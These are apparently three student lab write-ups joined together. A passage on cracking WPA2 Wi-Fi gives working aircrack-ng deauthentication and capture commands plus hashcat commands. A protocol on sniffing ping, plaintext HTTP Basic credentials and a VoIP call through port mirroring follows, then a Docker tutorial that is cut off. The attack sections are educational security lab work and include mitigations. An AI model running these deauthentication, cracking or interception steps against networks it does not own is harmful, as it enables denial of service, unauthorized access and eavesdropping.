For the attack, the Aircrack-ng toolset is used to test the security of Wi-Fi networks. It supports monitoring, attacking, testing, cracking, and maintains patches for packet injection of Linux Wi-Fi drivers.⁹

To get started, its airmon-ng script is used to enable monitor mode on the Wi-Fi adapter. The command used is airmon-ng start <interface>. It also checks for conflicting processes, such as network managers, and offers options to kill them to avoid interrupting the attack. However, I found that simply ignoring this warning has no effect if it’s not the only Wi-Fi adapter in the system, as shown in Figure 15.¹⁰

To start the attack, the BSSID/MAC address of the access point, as well as the wireless channel, needs to be obtained. To do this, airodump-ng is used to capture raw 802.11 frames.

To obtain all of that information, airodump-ng <interface> is used to get all the data from the detected active Wi-Fi networks and clients. Figure 16 shows the output, where the top half displays all of the detected access points while the bottom half shows the clients. It displays information such as MAC Address, signal strength, number of beacon and data frames, channel, encryption standard, cipher set, authentication method, and ESSID.¹¹

With the information from Figure 16, we now know that the channel of the target Wi-Fi 3AHITN-GRP-12 is 11, the MAC Address of the access point is B4:75:0E:1A:7F:A5, and that it uses WPA2-Personal with the CCMP cipher set. A new command can be used that specifies the correct channel and BSSID, and also writes the captured data to files using the -w option.

The command used was:

sudo airodump-ng -c 11 --bssid B4:75:0E:1A:7F:A5 -w thing wlan1

where the -c option sets the channel to use, the --bssid option specifies the BSSID of the desired access point, the -w option writes the capture to files starting with the name thing, and finally, the interface to use is specified, which in this case is wlan1.¹¹

Now, only the desired access point is captured, and all its clients can be seen in the bottom half of the screen, as shown in Figure 17.

Sending Deauthentication Frames

To capture a 4-Way WPA2 handshake, there are two options: wait for a client to connect or send a deauthentication frame with the MAC Address of a client to disconnect it. This can easily be captured using packet sniffing, and if the client has automatic reconnect enabled, the handshake can be captured.¹²

This is called a deauthentication attack, which is a type of denial-of-service attack, as it actively stops the connection of a client. This method can also be used on the entire network if a tool like aireplay-ng is used to send the frame with the MAC Address of all the clients, allowing the attacker to take down the entire Wi-Fi network. This is useful for either an Evil Twin attack or, as in our case, a password attack to capture the handshake for decryption.^{12 13}

To deauthenticate one of the clients, the following command was used:

sudo aireplay-ng -0 1 -a B4:75:0E:1A:7F:A5 -c 6A:F7:AD:2F:C6:32 wlan1

This uses aireplay-ng to generate traffic for later use with aircrack-ng. One of its uses is to send deauthentication frames. The first option of the above command is -0 with 1 as the value. Here, -0 means deauthentication, and the number sets the number of deauthentication frames to send. If that value is 0, deauthentication frames are sent until the program is exited. In this case, only one is sent to hopefully prompt the client to reconnect. Multiple frames are only necessary if the goal is to keep the connection down for an Evil Twin attack or just a denial-of-service attack in general. The -a option is used to specify the MAC Address of the access point to which the deauthentication frame will be sent, while -c is the client whose MAC address will be spoofed in the packet to disconnect them. If the -c option is not set, aireplay-ng will try to disconnect all clients by sending the deauthentication frames to the broadcast, which is a more effective denial-of-service method. However, as my goal is only to get one handshake, I chose a specific client. Disconnecting multiple devices is not wise if the goal is only to capture one handshake, as it could raise suspicion that someone is trying to perform a DoS attack on the Wi-Fi network. The output of the command can be examined in Figure 18.[^deauth]

To filter for deauthentication frames in Wireshark, the following filter can be used:
(wlan.fc.type eq 0) && (wlan.fc.type_subtype eq 12)
The part in the first parentheses filters only for Management frames, and the second one checks if the Frame Type/Subtype is equal to 12, which is the code for a deauthentication frame.¹⁴

Looking at the frame itself, as shown in Figure 19, nothing special or complicated is going on; it is just the frame that aireplay-ng created, and it contains the receiver, destination, transmitter, source address, and BSSID.

Now that the client has been disconnected, if we look back at the running capture from before, we can see that once a handshake has occurred, it is printed out in the first line for which BSSID it was captured, as well as in the Notes section of the client, which gets populated with the EAPOL value. EAPOL stands for Extensible Authentication Protocol over LANs (IEEE P802.1X-REV) and is the protocol over which the WPA2 handshake is carried out, as stated on page 7 in the Definitions section of the 802.11i (WPA2) standard.¹⁵

This can be examined in Figure 20.

Analyzing the 4-Way Handshake in Wireshark

Now that the handshake has been captured, it’s time to analyze the captured handshake in Wireshark and decrypt it to obtain the password.

To filter for the handshake, the following filter was used:
eapol && !eap
This filter only displays frames with EAPOL, which are responsible for authentication, and excludes frames that contain EAP (Extensible Authentication Protocol (IETF RFC 3748)), which is only used for WPA2-Enterprise and therefore not relevant for now.

EAPOL Frame Fields

As stated in section 4.2.3, EAPOL is used to carry authentication data between the supplicant and the authenticator, resulting in the exchange of cryptographic keys and synchronization of the security association state. To understand a breakdown of the 4 frames of the handshake, the relevant fields of an EAPOL frame will be explained.¹⁵

• Descriptor Type: This field stores the type of the key, which contains the used cipher suite; for example, it could be AES.¹⁵
• Key Information: The 2 octets of this field specify characteristics of the key, which could include Error, Key MIC, Key ACK, etc. The full chart for this can be found in Figure 43—Key Information bit layout on page 78 of the specification.¹⁵
• Key Length: An unsigned binary number defining the length of the pairwise temporal key to configure into IEEE 802.11. The value varies per used cipher suite and is shown in Table 20—Cipher suite key lengths on page 79 of the specification.¹⁵
• Key Replay Counter: Acts as a sequence number and is initialized as 0 when the PMK is established. The supplicant uses it to detect replayed frames, and the authenticator increments the number on each successive EAPOL-Key frame. When replying, the supplicant shall use the counter field from the last valid frame received from the authenticator, who shall use the value to silently discard invalid frames.¹⁵
• Key Nonce: Conveys the ANonce, which is just a random number used for the authentication from the authenticator and the SNonce from the supplicant. It may contain 0 if a nonce is not required to be sent.¹⁵
• Key RSC: Contains the receive sequence counter (RSC) for the GTK being installed in WPA2. It is used in Message 3 of the 4-Way Handshake and Message 1 of the Group Key Handshake, where it is used to synchronize the IEEE 802.11 replay state.¹⁵
• Key MIC: The Key MIC is a MIC (Message Integrity Code) calculated from the Key Descriptor Value and Key Data Field.¹⁵
• Key Data Length: Represents the length of the encrypted key data field.¹⁵
• Key Data: A variable-length field that is used to include any additional data required for the key exchange that is not included in the fixed fields of the EAPOL-Key frame.¹⁵

4-Way Handshake Message 1

The authenticator sends an ANonce to the client, which is a pseudo-random number generated by it. This ANonce will be used by the supplicant to generate its SNonce. This can be seen in Figure 22 below, where the replay counter has also been incremented due to the R flag being set in the Wi-Fi header, since the first packet was dropped and is being replayed.^{16 17}

4-Way Handshake Message 2

The supplicant sends its SNonce with a MIC (which also changes the Key Information Field and sets the Key MIC flag to 1) to the authenticator. After the AP receives this, the PTK (Pairwise Transient Key) is verified. If the MIC is not valid, the MLME-DEAUTHENTICATE.request primitive is used to terminate the association.^{16 17}

4-Way Handshake Message 3

The authenticator checks the MIC, and if it is valid, it generates the GTK (Group Transient Key), which gets encapsulated in the Key Data field. The replay counter is incremented, and the install flag in the Key Information field is set to 1, along with the Key ACK and Key MIC fields. Upon receiving this, the supplicant verifies the MIC and ANonce, and if successful, constructs Message 4.¹⁶

4-Way Handshake Message 4

The supplicant sends a frame with the Key ACK field set to 0 and only a MIC as a final OK, indicating that everything needed for the communication is installed.¹⁷

Cracking the Password

To finally crack the password, the following aircrack-ng command was used:

aircrack-ng -w pwlist -b B4:75:0E:1A:7F:A5 thing*.cap

This command uses the -w option to set a wordlist, which is the top 100k used password list, to which I append the correct password, as seen in Figure 26. The -b option sets the BSSID to use, and lastly, thing*.cap tells aircrack-ng to use all .cap files starting with thing as the name. Once the command is run and the password is found, it will be displayed, which can also be seen in Figure 26.¹⁸

Testing My Own Wi-Fi

Now I wanted to do something extra to test my home Wi-Fi to see if it holds up.

To do this, I reran the same commands as in the sections above.

After obtaining the hash, I used:

hcxpcapngtool -o home.22000 -E WLAN-homeF2 pcap/mehrstuff.pcapng

to convert the Wireshark capture from the background to a .22000 file so I could use hashcat on my PC to crack my password without simply adding the password to the list and see how long it takes. This command uses hcxtools to extract the hashed password for a given SSID from a capture file so it can be used for hashcat. To do this, the -o option was used to set the output file, as well as the -E option to set the SSID, and lastly, the location of the input file to use.

On my Windows PC, I used the following hashcat command:

hashcat -m 22000 home.22000 -a 3 -w 3 ?u?u?u?u?u?u?u?u?u?u?u?u?u?u?u?u?u

This command uses the -m option to determine the type of hash, which in this case is a WPA-PBKDF2-PMKID+EAPOL hash. The -a 3 option sets the attack mode to 3, which is a brute force mask attack, and -w 3 sets the workload profile to be aggressive and use as many system resources as possible. Lastly, the ?u is a placeholder for uppercase alphanumeric characters (A-Z), since my password is not in a wordlist and only consists of 17 alphanumeric uppercase characters.^{19 20}

However, as seen in Figures 27 and 28, the length of the password caused hashcat to overflow on my system, and the Bitwarden password strength calculator indicates it would take centuries to crack. Therefore, I see this as a success for my security.

Mitigations of This Attack

To make such attacks harder, or even impossible, or less likely to occur, there are mainly three ways to achieve this:

• Using a strong password
• Forcing WPA3
• Segmenting the network

All of these work together, and to illustrate the point, a scenario for a home network will be used that incorporates all of them while trying to reduce the increased effort of higher security as little as possible.

Since most homes have IoT devices or printers that can’t use newer encryption standards, the Guest Network feature on the router will be used, which will have all IoT devices such as printers, etc. If possible, the internet speed will be limited, and a somewhat secure password will be used.

For the main network, a strong password is used, and WPA3 is enforced. To reduce the burden of long passwords, NFC cards and QR Codes can be used to connect to the Wi-Fi in a more convenient way.

This achieves all of the above-mentioned points and protects the family from an outdated device, like a printer, being a backdoor to their network and potentially spying on their local traffic or, due to the weaker encryption, risking an attacker breaking into their home Wi-Fi.

How WPA3 improves security

The first upgrade of WPA3 is the improvement of the encryption algorithm, which is now 256-bit Galois/Counter Mode Protocol (GCMP-256), significantly improving upon WPA2.

The main improvement is the Dragonfly handshake, which is resistant to dictionary attacks and provides forward secrecy. It makes use of zero-knowledge proofs, and for each authentication, a new key is generated. Due to the zero-knowledge proof, the password is never actually transmitted.²¹

The handshake is essentially a SPEKE (Simple Password Exponential Key Exchange), which works like this:

1. Both Alice and Bob share a password ( P ).
2. They use a known transformation to derive a point ( G ) on the elliptic curve ( E ).
3. Then Alice and Bob each randomly pick a value in the domain of the prime ( p ).
4. Alice randomly picks ( a ) and Bob randomly picks ( b ).
5. They exchange ( aG ) and ( bG ).
6. Then both parties compute ( K ) as usual in the Diffie-Hellman key exchange.

This makes offline dictionary attacks not feasible because an attacker can guess ( G ), but they can’t find ( aG ) and ( bG ) due to the hardness of the mathematical problem. Since ( a ) and ( b ) were randomly chosen, ( K ) cannot be computed, and even if the password is guessed correctly, it is still very unlikely that the two random numbers ( a ) and ( b ) were also guessed correctly.²¹

Possible WPA3 Attacks

There are mainly four types of attacks used against WPA3, which are:

1. Timing-based side-channel attacks
2. Cache-based side-channel attacks
3. Downgrade attacks
4. Denial of Service

The first two attacks are side-channel attacks, which are any attacks based on extra information that can be gathered because of the fundamental way a computer protocol or algorithm is implemented, rather than flaws in the design of the protocol or algorithm itself. For example, in a timing-based side-channel attack, the computation time of an action gives the attacker more information about the system, allowing them to exploit that and gain more information, such as comparing the computation timing for two passwords. A cache-based side-channel attack would involve the attacker monitoring the accesses made by the victim in a shared physical system, like a virtualized environment, to gain information in that manner.²²

In the context of WPA3, a timing-based side-channel attack involves measuring the time it takes for an access point (AP) to respond to commit frames, which may leak information about the password.²³

A cache-based side-channel attack can occur if the attacker is able to observe the memory access patterns of the victim’s device when constructing the commit frame, which would reveal information about the password.²³

Downgrade attacks leverage the coexistence of WPA2 and WPA3 in an access point. The goal is to create a rogue access point that lures legitimate clients away from the genuine access point and forces them to use WPA2, allowing the attacker to capture the handshake and crack it offline.²³

Lastly, due to the increased complexity of the Dragonfly handshake, simply flooding the access point with commit frames can lead to high CPU usage and potentially slow the access point down.²³

References

For a full bibliography, see the original BibTeX file.

Note: this was converted using from LaTeX to Markdown using Chat GPT 4.1 the original pdf can be found here along with the bibliography

Laboratory protocol
Exercise 10: Capturing of network traffic in the local network

Table of Contents

• Task definition
• Summary
• Complete network topology of the exercise
• Exercise Execution
  • Building the Topologies
  • Mirroring traffic in RouterOS v7
  • Comparing the traffic before and after the configuration
  • Packet Sniffing on the Local Device
  • Capturing a Ping Between Two Targets
  • Capturing Plain Text Passwords
  • Capturing a VoIP Call
• References

Task definition

This task focused on the passive interception of network traffic in a local network using either a hub or a managed switch with mirror ports. The objective was to analyze unaltered communications using Wireshark on both attacker and victim machines. Two topologies were tested: a hub-based setup, which allowed full traffic visibility, and a switch-based setup, where traffic was mirrored from victim ports to the attacker’s port. Devices were assigned static IP addresses from a private range, and VoIP communication was simulated using either software-based or physical IP phones.

Three types of traffic were examined: ICMP echo requests (Ping), HTTP authentication involving plaintext credentials, and VoIP calls between two endpoints. Each case was recorded in a separate Wireshark capture. In the hub scenario, the focus was on visibility and potential stability issues under high traffic. For the switch, mirroring was configured and traffic was captured before and after to assess changes.

Further tasks involved filtering ICMP traffic by attacker IP, observing ping communication between victim devices from the attacker’s perspective, capturing HTTP login attempts to extract credentials, and intercepting a VoIP call, which was exported as an MP3 file. All relevant captures and the audio file were submitted as part of the final documentation.

Summary

In this exercise, two distinct network topologies were implemented to investigate passive network traffic interception. The first topology utilized personal hardware, specifically a Mikrotik RB5009 router, to configure port mirroring. The client devices were older laptops running Proxmox, with one laptop hosting an nginx container configured to demonstrate basic HTTP authentication. The attacker device was another laptop connected to the mirrored ports on the router, which allowed it to receive a complete copy of the network traffic between the clients and the server.

The initial step involved performing local ICMP ping requests from the attacker to the clients to observe the captured traffic and verify network connectivity. Following this, the two client laptops pinged each other, while the attacker monitored and recorded the exchanged packets. This demonstrated the attacker’s ability to intercept traffic not directly addressed to it due to the port mirroring setup. Furthermore, the attacker was able to capture and analyze the HTTP basic authentication process, successfully extracting plaintext credentials transmitted from the client to the nginx server.

In the second part of the exercise, a VoIP call was established using two IP phones connected via a network hub instead of a switch with port mirroring. This topology allowed the attacker laptop to capture the audio stream of the call directly from the network traffic. The recorded audio was then exported and post-processed using Audacity and Adobe Podcast Speech Enhancer to clean and enhance the recording, resulting in a clear and intelligible audio file.

Throughout the exercise, Wireshark was extensively used to capture, filter, and analyze the network traffic from the attacker’s perspective. This practical approach provided insight into how network devices like hubs and switches with port mirroring impact the visibility of traffic and the feasibility of passive interception attacks within a local network environment.

Complete network topology of the exercise

Exercise Execution

Building the Topologies

To build the topology from Figure 1, I chose the following hardware: a Mikrotik RB 5009 to act as the main “switch” due to RouterOS offering extensive settings in what I consider the best GUI to manage any network device.

For the server and clients, I used two old laptops running Proxmox, one of which has a Debian server VM running an Nginx web server with basic authentication set up. All of the devices have static IPs configured in the range 10.30.0.0/24. The attacker simply runs Linux with Wireshark to capture the traffic. The used IP addresses can be found in the addressing table below.

Mirroring traffic in RouterOS v7

To configure the router, there are three options: either use the WebGUI, SSH into it, or use their program called WinBox, which is the option I went with. After connecting a port on the router, it automatically detects available ports, and I can simply select one of them and configure everything as needed via the MAC address.

Now that we are in the router’s configuration, we see a number of top-level options to choose from. To mirror traffic, we go to the Switch section and head to the Port tab, where we select the ports we want to mirror. If we double-click on an interface, it opens the port window, where we can choose whether to mirror only ingress traffic, egress traffic, or both.

We also specify an ingress target, which in this case is ether6, where the attacker’s laptop is plugged in so that it receives all the mirrored traffic. The configuration for both ether7 and ether8 is the same, which is why only one is shown below. Lastly, under the “Mirror Ingress”/“Mirror Egress” columns in the switch window table, we can see a “yes” in both columns, indicating that the configuration has been successfully applied. ¹

Comparing the traffic before and after the configuration

Now we can use Wireshark on the attacker’s laptop to compare the traffic captured with and without mirroring.

When everything is idle and only ARP traffic is occurring in the background, the only difference is that instead of receiving each broadcast once, it is received twice—once from the connection itself and once from the mirroring.

Packet Sniffing on the Local Device

Now, with mirroring enabled, every device on the network is pinged so we can examine the behavior using the following filter: ip.src == 10.30.0.69 && icmp. This filter shows only ICMP frames with the source IP of the attacker’s laptop.

To display only the full connection between the two devices, the following filter can be used to show only the complete exchange, including replies: icmp && ip.addr == 10.30.0.69 && ip.addr == 10.30.0.178.

Capturing a Ping Between Two Targets

Since all ingress and egress traffic is being mirrored to the attacker’s port, it is possible to observe the entire ICMP exchange between the two victim machines directly from the attacker’s PC using Wireshark. If a ping is initiated between the two devices, we can apply the same filter as before—replacing the IP addresses with those of the communicating victims—to capture and analyze the exchanged packets.

ip.addr == <Victim1_IP> && ip.addr == <Victim2_IP>

As shown below, this traffic is visible only from the attacker’s Wireshark capture. The source and destination fields in the packets correspond to the two victim machines—at no point does the attacker’s IP address appear in the captured communication. This interception is possible solely due to port mirroring: all network traffic to and from the mirrored ports is duplicated to the attacker’s port. The two clients are unaware of this and communicate normally, while the attacker silently captures their traffic.

Capturing Plain Text Passwords

But let’s not stop at having two targets ping each other—we can also make use of the web server VM, which is simply the default Nginx page protected with basic authentication. If we make a request to the HTTP server—using either a web browser, curl, or any other method—and pass the Authorization header, it will contain Basic, which is the scheme name, followed by a Base64-encoded UTF-8 string of the username and password separated by a colon :. ²

The server then checks whether the provided credentials match an entry in the credentials file. If no match is found, an HTTP status code 401 Unauthorized is returned. ³

Later, a successful authentication is made, where the server instead returns status code 200, which indicates that the request has succeeded. ⁴

Again, we can see the credentials used in the request headers and now know that the credentials for this web server are user3:password123, as shown below. In addition, we receive the entire HTML code returned in the response from the server, which we can also view in plain text—essentially allowing us to see the same content as the client.

See also: Exercise 6: Hardening a Linux Webserver for details on setting up Nginx with basic authentication.⁵

Capturing a VoIP Call

Lastly, VoIP traffic was captured and analyzed using Wireshark. For this, a different topology was used, as shown in Figure 2, since I do not own any VoIP phones. This part of the experiment was conducted in the school’s networking lab, where we used a hub and the address range 10.0.0.0/24. The attacker had the address 10.0.0.69, while the two phones had 10.0.0.1 and 10.0.0.2. Since a hub was used, no port mirroring had to be configured.

Voice over IP is an unencrypted protocol that uses the Real-time Transport Protocol (RTP) to transmit application data, which Wireshark has built-in tools to follow and even convert back into audio. ^{6 7}

Wireshark provides these tools under Telephony → VoIP, which automatically detects the relevant streams and identifies the speakers. In the window that opens, we have several options, such as viewing the Flow Sequence, which shows when the call was ringing and who was speaking when. However, we are more interested in the “Play Streams” button, which displays the waveform of the call and allows us to export the audio as an MP3 file.

However, the audio levels of the MP3 were initially unbalanced—the beginning was far too quiet—so I boosted the volume using Audacity to normalize the audio levels. I then used the Adobe Podcast AI Audio Enhancer to remove background noise and isolate the conversation. The result was a surprisingly clean and understandable audio file, even though the microphone of the other phone was quite far away when I was speaking.

References

For a full bibliography, see the original BibTeX file.

The code for all setups is available on my GitHub here.

Docker crash course

What is docker?

Docker is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly. With Docker, you can manage your infrastructure in the same ways you manage your applications. By taking advantage of Docker’s methodologies for shipping, testing, and deploying code, you can significantly reduce the delay between writing code and running it in production.

Why use it?

• Makes building and running apps easier and faster

  • Keeps the app separate from the computer it runs on, so it works the same anywhere (your PC, a server, or the cloud)
  • Helps you update and deliver new versions quickly
  • Makes sure the app runs the same every time, no matter where it’s deployed
  • Saves time when moving from writing code to actually using it

• Lets you use and manage different versions of software

  • You can run older or specific versions of apps without messing up your system
  • Useful if your project needs a tool that only works with a certain version

• Runs apps in isolated containers

  • Each app runs in its own “box,” separate from others, which makes it safer and easier to manage
  • You can test apps without affecting the rest of your system

• Great for home setups and personal servers

  • Run things like a media server (e.g. Jellyfin), game server, or home automation tools (e.g. Home Assistant) in containers
  • Keeps each service isolated, so if one breaks, the others keep working
  • Easy to back up, move, or update your services

How does it work?

Docker vs VMS

Both technologies aim to achieve a similar goal: providing an isolated environment to deploy applications. However, they do it differently-containers share the host system’s operating system, while virtual machines run their own full operating systems using a hypervisor.

• Startup Time
  • Containers: Start in seconds.
  • VMs: Can take up to minutes to boot.
• Resource Usage
  • Containers: Very light weight.
  • VMs: Require more processing power.
• Storage Size
  • Containers: from a few MBs to a few hundres.
  • VMs: several GBs.
• Operating System
  • Containers: Share the host OS kernel.
  • VMs: Each has its own full OS.
• Portability
  • Containers: Made to be moved and deployed everywhere
  • VMs: Slow to migrate due to large sizes Image from Geeks for Geeks

Docker ussage basics

To demonstrate the basic uses of Docker, I will deploy the same simple Go and HTML app five times. First, I’ll deploy it without Docker to show how it works normally. Then, I’ll build custom Docker containers for the backend and frontend. Next, I’ll use Docker Compose, followed by deploying it on a remote host using Docker Context. Finally, I’ll use Docker Swarm with a Docker Stack to enable replicas and orchestration.

Deploying without Docker

I created a simple Go web server with one API endpoint. This endpoint is called by JavaScript in an HTML file, which is served by Nginx. Nginx also handles routing to the API. To deploy this, I need to run the Go server, configure Nginx, and place the HTML file in the correct location. Here’s the current structure of my project:

├── backend
│   ├── go.mod
│   └── main.go
├── frontend
│   └── index.html
└── nginx
    └── nginx.conf

To simplify setup, I created a symbolic link from my custom Nginx config to the system config path using:

sudo ln -s /full/path/to/your/nginx.conf /etc/nginx/nginx.conf

Normally, Nginx configs should be split into separate files per site (virtual hosts), but since I’m only hosting this one project, I modified the main config directly. Note: this is not best practice, but it’s acceptable for quick testing. I also symlinked the index.html file to Nginx’s web root so it can serve it:

sudo ln -s /full/path/to/your/index.html /usr/share/nginx/html/index.html

Now, by opening a terminal in the backend directory and running:

go run main.go

…and enabling Nginx using systemd or another method, I can visit localhost in a browser and see the webpage. If I want to make changes, I can edit the HTML file and refresh the page, or update the Go code, stop the server, and run it again. While this setup might work fine for local development, it’s too much hassle to repeat for every project. As soon as you need to collaborate with others or deploy to a server, it becomes inefficient and error-prone. For example, to deploy this on a remote server, I’d have to manually copy the files, place them in the right locations, and start the services. I’d also have to repeat this process for every update—which is awful.

Using Docker

Now let’s use Docker to deploy this app and demonstrate the basic features needed to create, deploy, and manage containers—improving the deployment with each iteration. Updated Directory Structure

First, I changed the directory structure to include a Dockerfile for the backend. This file contains instructions that Docker uses to build an image, which can then be deployed as a container.

├── backend
│   ├── Dockerfile
│   ├── go.mod
│   └── main.go
├── frontend
│   └── index.html
└── nginx
    └── nginx.conf

Let’s examine the Dockerfile to understand how a container is built:

FROM golang:1.22-alpine

WORKDIR /app

COPY . .

RUN go build -o main .

EXPOSE 3000

CMD ["./main"]

Explanation of Each Dockerfile Instruction

• FROM golang:1.22-alpine
  Every Dockerfile starts with the FROM instruction, which specifies the base image. In this case, we’re using Go version 1.22 on Alpine Linux. Alpine is a minimal Linux distribution designed for containers and is only a few hundred megabytes in size.

• WORKDIR /app
  This sets the working directory inside the container. All subsequent instructions will be executed from this directory unless changed.

• COPY . .
  This copies all files from the current host directory (where the Dockerfile is located) into the working directory of the container. You could also list specific files instead. To exclude files or folders, you can use a .dockerignore file in the same directory.

• RUN go build -o main .
  This command compiles the Go source code into a binary named main.

• EXPOSE 3000
  This tells Docker that the application listens on port 3000. It doesn’t actually expose the port when running the container—it just documents the port for later mapping.

• CMD ["./main"]
  This defines the default command to run when the container starts. In this case, it runs the compiled Go binary.

The resulting image is about 303 MB in size. This could be significantly reduced by using a multi-stage build—first using the base image with the OS and Go tools to compile the binary, and then copying just the compiled binary into a minimal final image. Since this process is straightforward and well-documented, I chose not to cover it in detail here to keep things focused.

To actually build this container, the following command is used:

docker buildx build -t manual-backend backend

This command uses the buildx subcommand and the -t flag to tag (name) the image being built. The last part, backend, specifies the build context — in this case, the directory where the Dockerfile and required files are located.

Once the image is built, we can run the container using:

docker run manual-backend

This will start the container, but it will stop as soon as we press Ctrl+C. To keep it running in the background, we use the -d flag to run it in detached mode. We can also name the container using the --name flag.

Additionally, we need to map port 3000 from the container to the host using the -p option so that we can actually access the application. If we use a capital -P instead of a lowercase -p, Docker will map a random port on the host to the default exposed port of the container.

docker run -d -p 3000:3000 --name manual-backend manual-backend:latest

Now we can list all running containers using:

docker ps

This will display the container’s name and hash ID, which can be used to identify it.

To view logs from the container, use:

docker logs [CONTAINER_NAME or CONTAINER_ID]

If we want to connect to the container’s shell, we can use:

docker exec -it [CONTAINER_NAME] sh

The -i and -t flags make the shell interactive with a TTY. This works because the container runs a full Alpine Linux system — if we had optimized the container to include only the compiled binary, this wouldn’t be possible.

To stop the container:

docker stop [CONTAINER_NAME or CONTAINER_ID]

To start it again:

docker start [CONTAINER_NAME or CONTAINER_ID]

To remove it:

docker rm [CONTAINER_NAME or CONTAINER_ID]

To remove all stopped containers:

docker container prune

Now only the backend is running inside a container, but we still need to package the frontend as well. For this step, we won’t build a custom image yet. Instead, we’ll use a single docker run command:

docker run -d --name manual-frontend -p 8080:80 \
    -v "$(pwd)"/nginx/frontend/index.html:/usr/share/nginx/html/index.html \
    -v "$(pwd)"/nginx/nginx.conf:/etc/nginx/conf.d/nginx.conf:ro \
    nginx:alpine

This command is a bit more complex since more things are happening:

• First, we map port 8080 on the host to port 80 in the container using the -p option. This allows us to access the application through the browser. We use 8080 on the host to avoid conflicts with existing services, so we don’t need to change the default nginx configuration.

• Then, we use the -v flag (short for volume) to bind files from the host into the container. This way, we can edit the HTML file on the host and see the changes instantly in the container. The same applies to the Nginx configuration file, although changes to the config will require restarting the container. This method avoids the need to build a custom Docker image for now.

• Finally, we specify the image to use: nginx:alpine, which is an official, lightweight image from the Docker registry.

With both containers running, you can open http://localhost:8080 in your browser and see the application working.

However, this method is still very inconvenient, which brings us to the next improvement in deploying our app.

Docker compose

To make multi-container deployments easily manageable, Docker offers Docker Compose, which allows you to define and control multiple containers using a single configuration file.

To do this, create a file called docker-compose.yml.

Let’s break down the structure of this file for our service:

services:
  backend:
    image: backend:latest
    build: 
      context:
        ./backend
  frontend:
    image: nginx:alpine
    ports:
      - "8080:80"
    volumes:
      - ./nginx/frontend/index.html:/usr/share/nginx/html/index.html
      - ./nginx/nginx.conf:/etc/nginx/conf.d/nginx.conf:ro
    depends_on:
      - backend

The file starts with the services keyword, which defines each of the containers we want to run as attributes. Each container then has its own child attributes for configuration.

We begin by defining our backend container using the backend: key. We specify the image it should use — in this case, backend, which is the name we give it after building. To tell Docker Compose to build this image, we use the build: keyword and provide the context: attribute, which points to the path where the Dockerfile and source files are located.

Next, we define the frontend container, using the nginx:alpine image. We expose the necessary ports and bind the required files using volumes. This is much more manageable than writing out long docker run commands and is far easier to maintain.

We also use the depends_on option to ensure the frontend container only starts once the backend container is up and running. This helps guarantee that the application functions correctly without manual timing issues.

Additionally, we don’t need to publish any ports on the backend container. When using Docker Compose, a default Docker network is created for the containers in the stack. This allows containers to resolve each other by name, making internal communication seamless. For example, the frontend can reach the backend simply by using the container name as the hostname. This also means the backend doesn’t need to be exposed to the outside world, which improves security by ensuring it can only be accessed through the frontend, without needing to configure firewalls or restrict public access manually.

Now, to deploy this, simply run:

docker compose up -d --build

This command builds all the images and deploys the containers. That’s it — you can just open your web browser and test everything. Thanks to volume mapping, any changes made to the HTML file will carry over immediately after a page reload.

You can inspect logs from the containers using:

docker compose logs

To see the running containers, use:

docker compose ps

To stop and remove all containers, use:

docker compose down

If you run docker compose up -d --build again afterward, the containers will be rebuilt and restarted — but they remain running during the build process to minimize downtime. Only the containers with actual changes will be replaced.

This setup now provides a very usable and portable local development environment that’s easy to manage. However, it still lacks production-readiness since deploying to a server still requires SSH access and copying the files over manually or pulling them from a Git repository.

That brings us to the next two improvements, which will be discussed in the following section.

Docker Context

Docker Context

Docker Context is a way to run Docker commands on a remote host without needing to SSH into your server like it’s the stone age.

To add a server via SSH as a Docker context (assuming you have SSH key authentication already set up so no password prompt appears for each command), you can use the following command:

docker context create context_name --docker "host=ssh://user@ip_address"

Note: The host value doesn’t have to be an IP address — it could also be a Unix socket or another Docker-compatible host. SSH is just one method.

Managing Contexts

• To list all available contexts:

  docker context ls
  

• To switch to a specific context:

  docker context use [CONTEXT_NAME]
  

• To remove a context:

  docker context rm [CONTEXT_NAME]
  

To see which context is currently active, run docker context ls. The active one will be marked with a *. If you’re using the Starship prompt, it will display the active Docker context just like it shows the current Git branch or programming language.

Once a context is selected, all Docker commands will be executed on the remote machine instead of your local system.

However, if you run docker compose up -d --build on the remote host now, you’ll likely get an error about missing files used in volume mounts. This happens because the volume mounts are referencing local paths that don’t exist on the remote host.

To fix this, we’ll need to change the docker-compose file in the next step.

Overwriting compose files and optizing the setup

To fix this issue, let’s make a duplicate of the compose file and name it compose.dev.yml. We can then change our main compose file to the settings we want for deployment. I updated the compose file as follows:

services:
  backend:
    image: backend:latest
    build: 
      context:
        ./backend

  frontend:
    image: frontend:latest
    build:
      context:
        ./nginx
    ports:
      - "8080:80"
    depends_on:
      - backend

Prior to this, we were mapping the files into the container using volumes. Now, instead, a new frontend image is built which copies the HTML and the Nginx configuration directly into the image.

In a production environment, you don’t need the ability to update files live, so this makes the deployment more stable and less prone to accidental breakage. The new frontend image has the following contents:

FROM nginx:alpine

RUN rm /etc/nginx/conf.d/default.conf

COPY nginx.conf /etc/nginx/conf.d/

COPY frontend /usr/share/nginx/html

EXPOSE 80

CMD ["nginx", "-g", "daemon off;"]

It takes the Alpine Nginx image as a base, removes the default configuration, replaces it with the new one, copies the HTML file, sets the port to listen on, and defines the entry command.

Now, to still have a nice way to run the development version locally, the file from before comes into play, which has the following contents:

services:
  frontend:
    image: nginx:alpine
    ports:
      - "8080:80"
    volumes:
      - ./nginx/frontend/index.html:/usr/share/nginx/html/index.html
      - ./nginx/nginx.conf:/etc/nginx/conf.d/nginx.conf:ro
    depends_on:
      - backend

It currently only has the original frontend service. If we run docker compose with the -f option to specify multiple files — such as the original and a new override file — the second file will overwrite any matching sections (like frontend). This allows us to use the development version of the frontend.

The command would look like this:

docker compose -f docker-compose.yml -f compose.dev.yml up -d

After all these changes, this is the current directory structure of the project:

├── backend
│   ├── Dockerfile
│   ├── go.mod
│   └── main.go
├── compose.dev.yml
├── docker-compose.yml
└── nginx
    ├── Dockerfile
    ├── frontend
    │   └── index.html
    └── nginx.conf

Now we can deploy both a development and a production version of our app to a remote server — which is already a solid place to stop for many small projects.

But to take it one step further, let’s add orchestration to support replicas and multiple servers. This allows us to scale our application, balance traffic, and improve fault tolerance by ensuring that if one container or server fails, others can continue handling requests.

Docker Swarm

Docker Swarm is a built-in container orchestrator for Docker that is simple to use yet powerful. It is very useful in a home lab environment since Kubernetes would be overkill, but it’s also viable for small businesses and their production environments.

What is Container Orchestration?

